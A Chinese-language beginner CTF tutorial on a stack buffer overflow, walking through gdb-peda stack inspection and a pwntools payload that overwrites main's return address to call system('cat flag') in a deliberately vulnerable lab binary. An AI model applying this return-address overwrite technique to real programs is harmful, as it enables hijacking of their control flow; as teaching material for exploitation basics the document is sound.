上一篇文章是通过数组越界覆盖结构体中其他成员内存,达到修改该成员的值的目的,接下来将使用第二种方法获取 flag,就是使用数组越界覆盖函数的返回地址,达到控制函数执行流程的目的。

函数栈的变化

这一次需要使用的编译参数是 gcc -g -O0 -fno-stack-protector -o vuln main.cfno-stack-protector 是禁用编译器的栈保护机制,毕竟是入门。需要提前学习的是 https://zhuanlan.zhihu.com/p/25816426 里面的背景知识,明白函数调用过程中栈的变化。

总结一下

比如代码

int add(int a, int b){
    return a + b;
}

int main(){
    int a = 1;
    int b = 2;
    add(a, b);
    return 0;
}

得到的汇编是这样的

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x00000000004004ea <+0>:	push   rbp
   0x00000000004004eb <+1>:	mov    rbp,rsp
   # 栈顶提高 16 个字节  |rbp|........|rsp| -> 内存地址减小方向
   0x00000000004004ee <+4>:	sub    rsp,0x10
   # 在栈上放了两个数字,占用了 8 个字节
   # |rbp| 2 | 1 | ... |rsp|
   0x00000000004004f2 <+8>:	mov    DWORD PTR [rbp-0x8],0x1
   0x00000000004004f9 <+15>:	mov    DWORD PTR [rbp-0x4],0x2
   # 把两个数字给寄存器
   0x0000000000400500 <+22>:	mov    edx,DWORD PTR [rbp-0x4]
   0x0000000000400503 <+25>:	mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000400506 <+28>:	mov    esi,edx
   0x0000000000400508 <+30>:	mov    edi,eax
   # 函数调用,其实相当于 push 下一条指令地址,然后跳转到 add 函数那里
   0x000000000040050a <+32>:	call   0x4004d6 <add>
   # eax 在这里保存返回值的值
   0x000000000040050f <+37>:	mov    eax,0x0
   # leave 相当于 mov rsp,rbp; pop rbp
   # 这个函数的栈相当于清空了
   0x0000000000400514 <+42>:	leave
   0x0000000000400515 <+43>:	ret
End of assembler dump.

gdb-peda$ pdisas add
Dump of assembler code for function add:
   # 保存 main 函数的栈底地址
   0x00000000004004d6 <+0>:	push   rbp
   # rbp = rsp 当前函数的栈底地址等于栈顶地址,相当于创建了一个新的空栈
   0x00000000004004d7 <+1>:	mov    rbp,rsp
   # 寄存器中的值放到栈里面,然后放到运算的寄存器中
   0x00000000004004da <+4>:	mov    DWORD PTR [rbp-0x4],edi
   0x00000000004004dd <+7>:	mov    DWORD PTR [rbp-0x8],esi
   0x00000000004004e0 <+10>:	mov    edx,DWORD PTR [rbp-0x4]
   0x00000000004004e3 <+13>:	mov    eax,DWORD PTR [rbp-0x8]
   # 加法
   0x00000000004004e6 <+16>:	add    eax,edx
   # pop rbp,其实这个函数中栈里面并没有新增的数据
   0x00000000004004e8 <+18>:	pop    rbp
   0x00000000004004e9 <+19>:	ret
End of assembler dump.

使用上篇文章的代码生成的汇编会更复杂,但是暂时这些就够了。

使用 peda 查看栈和寄存器数据

gdb ./vuln 然后 b 21gets(student.name); 后面下断点,r 运行,输入 1925AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 之后可以看到 peda 的输出分为几部分,分为 registerscodestack,分别是寄存器、汇编代码和栈数据分布。

gdb-peda$ b 21
Breakpoint 1 at 0x40072e: file main.c, line 21.
gdb-peda$ r
Starting program: /home/virusdefender/Desktop/pwn/new/vuln
What's Your Birth?
1925
What's Your Name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe2f0 ('A' <repeats 63 times>)
RBX: 0x0
RCX: 0x7ffff7dd18e0 --> 0xfbad2288
RDX: 0x7ffff7dd3790 --> 0x0
RSI: 0x60245f --> 0xa ('\n')
RDI: 0x7fffffffe32f --> 0x785ffffe46300
RBP: 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
RIP: 0x40072e (<main+120>:	mov    eax,DWORD PTR [rbp-0xc])
R8 : 0x602460 --> 0x0
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x4141414141414141 ('AAAAAAAA')
R11: 0x246
R12: 0x4005c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe420 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400721 <main+107>:	mov    rdi,rax
   0x400724 <main+110>:	mov    eax,0x0
   0x400729 <main+115>:	call   0x400590 <gets@plt>
=> 0x40072e <main+120>:	mov    eax,DWORD PTR [rbp-0xc]
   0x400731 <main+123>:	mov    esi,eax
   0x400733 <main+125>:	mov    edi,0x400855
   0x400738 <main+130>:	mov    eax,0x0
   0x40073d <main+135>:	call   0x400560 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
0008| 0x7fffffffe2e8 --> 0x1ff000000
0016| 0x7fffffffe2f0 ('A' <repeats 63 times>)
0024| 0x7fffffffe2f8 ('A' <repeats 55 times>)
0032| 0x7fffffffe300 ('A' <repeats 47 times>)
0040| 0x7fffffffe308 ('A' <repeats 39 times>)
0048| 0x7fffffffe310 ('A' <repeats 31 times>)
0056| 0x7fffffffe318 ('A' <repeats 23 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:21
21	    printf("You Are Born In %d\n", student.birth);

gdb-peda$ p &student
$1 = (struct Student *) 0x7fffffffe2f0
gdb-peda$ p sizeof(student)
$2 = 0x48

register 中可以看到 RBP: 0x7fffffffe340RSP: 0x7fffffffe2e0RIP: 0x40072e,在 stack 中可以看到这两个地址之间的数据,当然空间原因显示的并不全,可以使用 telescope 16 查看更多的栈内存。

gdb-peda$ p $rbp
$6 = (void *) 0x7fffffffe340
gdb-peda$ p $rsp
$7 = (void *) 0x7fffffffe2e0
gdb-peda$ telescope 16
0000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")
0008| 0x7fffffffe2e8 --> 0x1ff000000
0016| 0x7fffffffe2f0 ('A' <repeats 63 times>)
0024| 0x7fffffffe2f8 ('A' <repeats 55 times>)
0032| 0x7fffffffe300 ('A' <repeats 47 times>)
0040| 0x7fffffffe308 ('A' <repeats 39 times>)
0048| 0x7fffffffe310 ('A' <repeats 31 times>)
0056| 0x7fffffffe318 ('A' <repeats 23 times>)
0064| 0x7fffffffe320 ('A' <repeats 15 times>)
0072| 0x7fffffffe328 --> 0x41414141414141 ('AAAAAAA')
0080| 0x7fffffffe330 --> 0x785ffffe463
0088| 0x7fffffffe338 --> 0x0
0096| 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>:	push   r15)
0104| 0x7fffffffe348 --> 0x7ffff7a2d830 (<__libc_start_main+240>:	mov    edi,eax)
0112| 0x7fffffffe350 --> 0x0
0120| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b3 ("/home/virusdefender/Desktop/pwn/new/vuln")

然后可以简单得到 student 的内存的范围,0x7fffffffe2f0 - 0x7fffffffe338 就是在栈中。0032| 0x7fffffffe340 --> 0x400790 (<__libc_csu_init>: push r15) 也印证了这一点,这样 0x7fffffffe340 地址的数据就很明显是 main 函数的 rbp,0x7fffffffe348 的数据就是 main 函数的下一句指令的地址。

控制函数流程

只要把 system("cat flag"); 的地址写入到 0x7fffffffe348 就可以了,这个地址可以从 pdisas main 汇编代码中看到

0x0000000000400756 <+160>:	mov    edi,0x40087e
0x000000000040075b <+165>:	mov    eax,0x0
0x0000000000400760 <+170>:	call   0x400550 <system@plt>

0x40087e 处就是 system 的参数

gdb-peda$ x 0x40087e
0x40087e:	"cat flag"

所以要覆盖成的指令地址就是 0x0000000000400756,而不能是 0x0000000000400760,否则函数取到的参数可能是错误的。

思考:这个地址是在内存哪个区域?是栈区么?这个地址会变么?

payload 是

from pwn import *
print "1925\n" + "A" * (0x7fffffffe348 - 0x7fffffffe2f0) + p64(0x0000000000400756)

这里使用了 pwntools 库,p64 函数的作用就是把一个数字转换为内存中分布的形式

>>> p64(0xdeadbeef)
'\xef\xbe\xad\xde\x00\x00\x00\x00'
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
THIS_IS_FLAG
[1]    78848 bus error (core dumped)  ./vuln < 1.in

运行后虽然能成功的打印出 flag,但是最后进程会 crash,是因为 main 函数的栈底地址被我们覆盖了,如果要避免崩溃,还是需要精细的维护堆栈平衡的。

使用 GDB b 29,也就是最后的 return 0

gdb-peda$ b 29
Breakpoint 1 at 0x40077b: file main.c, line 29.
gdb-peda$ r < 1.in
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < 1.in
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
[----------------------------------registers-----------------------------------]
RAX: 0x1b
RBX: 0x0
RCX: 0x7ffff7b04290 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("You Speed One Second Here.\n")
RDI: 0x1
RBP: 0x7fffffffe340 ("AAAAAAAA\360\342\377\377\377\177")
RSP: 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b6 ("/home/virusdefender/Desktop/pwn/new/vuln")
RIP: 0x40077b (<main+197>:	mov    eax,0x0)
R8 : 0x2e6572654820646e ('nd Here.')
R9 : 0x1b
R10: 0x0
R11: 0x246
R12: 0x4005c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe420 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40076c <main+182>:	call   0x400540 <puts@plt>
   0x400771 <main+187>:	mov    edi,0x400896
   0x400776 <main+192>:	call   0x400540 <puts@plt>
=> 0x40077b <main+197>:	mov    eax,0x0
   0x400780 <main+202>:	leave
   0x400781 <main+203>:	ret
   0x400782:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x40078c:	nop    DWORD PTR [rax+0x0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe2e0 --> 0x7fffffffe428 --> 0x7fffffffe6b6 ("/home/virusdefender/Desktop/pwn/new/vuln")
0008| 0x7fffffffe2e8 --> 0x1ff000000
0016| 0x7fffffffe2f0 --> 0x6e69622fbb48f631
0024| 0x7fffffffe2f8 ("//shVST_j;X1\322\017\005", 'A' <repeats 65 times>, "\360\342\377\377\377\177")
0032| 0x7fffffffe300 --> 0x41050fd231583b6a
0040| 0x7fffffffe308 ('A' <repeats 64 times>, "\360\342\377\377\377\177")
0048| 0x7fffffffe310 ('A' <repeats 56 times>, "\360\342\377\377\377\177")
0056| 0x7fffffffe318 ('A' <repeats 48 times>, "\360\342\377\377\377\177")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:29
29	    return 0;

然后输入 ni 一直回车,注意观察 code 区域,就可以进行汇编指令级别的单步调试。

思考题答案:

参考